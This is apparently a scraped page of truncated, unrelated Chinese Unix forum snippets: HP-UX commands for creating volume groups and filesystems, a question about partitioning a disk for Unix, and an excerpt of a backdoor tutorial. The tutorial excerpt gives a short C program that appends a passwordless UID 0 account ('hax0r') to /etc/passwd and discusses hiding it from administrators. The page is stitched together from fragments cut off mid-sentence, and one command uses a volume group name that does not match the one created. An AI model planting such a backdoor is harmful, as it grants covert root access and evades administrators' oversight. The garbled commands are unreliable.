ioscan –fn #能发现所有设备,无unclaimed、scan和NO_HW device ioscan -fnCdisk #查詢硬碟設備 以 磁盘/dev/rdsk/c9t0d1 为例,创建vgtest、lvtest 最后挂在到/test作为文件系统使用。 1 格式化磁盘 pvcreate -f /dev/rdsk/c9t0d1 2 创建VG mkdir /dev/vgtest mknod /dev/vgtest/group c 64 0x010000 vgcreate vgepm /dev/dsk/c9t0d1 3 创建LV 、 挂载文件系统 lvcreate -L 2048 -n lvtest vgtest (2048单位是MB...
:cry::evil:我的硬盘是20G。 已经装了XP,再装unix。 现在进行到如下界面 1.Display patition table 2.Use entire disk for unix(整个硬盘给unix) 3.Use rest of disk for unix(把剩余空间给unix) 4.Create unix patition(创建unix分区) 5.Active(激活刚分的区) 6.Delete(删除) 7.Create(创建) 我选择了4 Current Hard Disk Drive:/dev/rdsk/0s0 Partition Status Type Start End ...
初级篇 最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。 <++>; backdoor/backdoor1.c #include main() { FILE *fd; fd=fopen("/etc/passwd","a+"); fprintf(fd,"hax0r::0:0::/root:/bin/sh\n"); } <-->; 比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号...
HP unix创建vg,fs的过程 msn: [email=olivenan@hotmail.com]olivenan@hotmail.com[/email] 1、检查磁盘情况 [email=ccnbjdc1@[/]#diskinfo]ccnbjdc1@[/]#diskinfo[/email] /dev/rdsk/c4t1d0 SCSI describe of /dev/rdsk/c4t1d0: vendor: HP product id: HSV200 type: direct access size: 524288000 Kbytes bytes per sector: 512 You have mail in /v...